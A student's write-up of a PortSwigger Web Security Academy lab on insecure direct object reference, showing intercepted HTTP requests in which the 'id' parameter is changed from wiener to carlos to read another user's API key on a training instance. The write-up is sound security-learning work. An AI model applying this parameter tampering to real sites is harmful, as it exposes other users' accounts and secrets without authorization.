


Lab 6 - User ID controlled by request parameter


Ahmed Khaled Saad Ali

ID:1809799

Lab Progress & Screenshots:

Logging in as wiener.

 User ID controlled by request parameter

LAB Not solved 

[Submit solution](#) [Back to lab description >>](#)


[Home](#) | [My account](#)


Login

Username

Password

Log in

 User ID controlled by request parameter

LAB Not solved 

[Submit solution](#) [Back to lab description >>](#)

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: wiener

Your email is: mekh@gmail.com

Your API Key is: YA0bKR107hMWDNohzRqQDK7zpikeFgjF

Email

Update email

Turning Intercept ON, and we refresh my account page and get the below GET request.

Intercept HTTP history WebSockets history Proxy settings

Request to https://0a84008e046fb7afc3daa4ae00ff0072.web-security-academy.net:443 [79.125.84.16]

Forward Drop **Intercept is on** Action Open browser

Pretty Raw Hex

```
1 GET /my-account?id=wiener HTTP/2
2 Host: 0a84008e046fb7afc3daa4ae00ff0072.web-security-academy.net
3 Cookie: session=33Mov6hCnWUF8kQDLr8t0J1MBU3U2jPD
4 Cache-Control: max-age=0
5 Sec-Ch-Ua: "Chromium";v="111", "Not (A:Brand);v="8"
6 Sec-Ch-Ua-Mobile: ?0
7 Sec-Ch-Ua-Platform: "Windows"
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,ima
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-Mode: navigate
13 Sec-Fetch-User: ?1
14 Sec-Fetch-Dest: document
15 Referer: https://0a84008e046fb7afc3daa4ae00ff0072.web-security-academy.net/
16 Accept-Encoding: gzip, deflate
17 Accept-Language: en-US,en;q=0.9
18
```

We will try changing "id" field to carlos and forward request.

Intercept HTTP history WebSockets history Proxy settings

Request to https://0a84008e046fb7afc3daa4ae00ff0072.web-security-academy.net:443 [79.125.84.16]

Forward Drop **Intercept is on** Action Open browser

Pretty Raw Hex

```
1 GET /my-account?id=carlos HTTP/2
2 Host: 0a84008e046fb7afc3daa4ae00ff0072.web-security-academy.net
3 Cookie: session=33Mov6hCnWUF8kQDLr8t0J1MBU3U2jPD
4 Sec-Ch-Ua: "Chromium";v="111", "Not (A:Brand);v="8"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chr
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document
14 Referer: https://0a84008e046fb7afc3daa4ae00ff0072.web-security-academy.net/my-account?id=wiener
15 Accept-Encoding: gzip, deflate
16 Accept-Language: en-US,en;q=0.9
```

Back to Account page, we now have access to carlos API Key. We copy it and lab is solved.

Web Security Academy

User ID controlled by request parameter

LAB Not solved

[Submit solution](#) [Back to lab description >>](#)

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: carlos
Your API Key is: b9yz7skq7ceFNdrDSD4V12tLE0fuirul

Email

Update email

Web Security Academy

User ID controlled by request parameter

LAB Solved

[Back to lab description >>](#)

[Share your skills!](#) [Continue learning >>](#)

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: wiener
Your email is: mekh@gmail.com
Your API Key is: YA0bKR107hMWDNohzRqQDK7zpikeFgjF

Email

Update email

Lessons:

Don't include identifiers of a user in requests.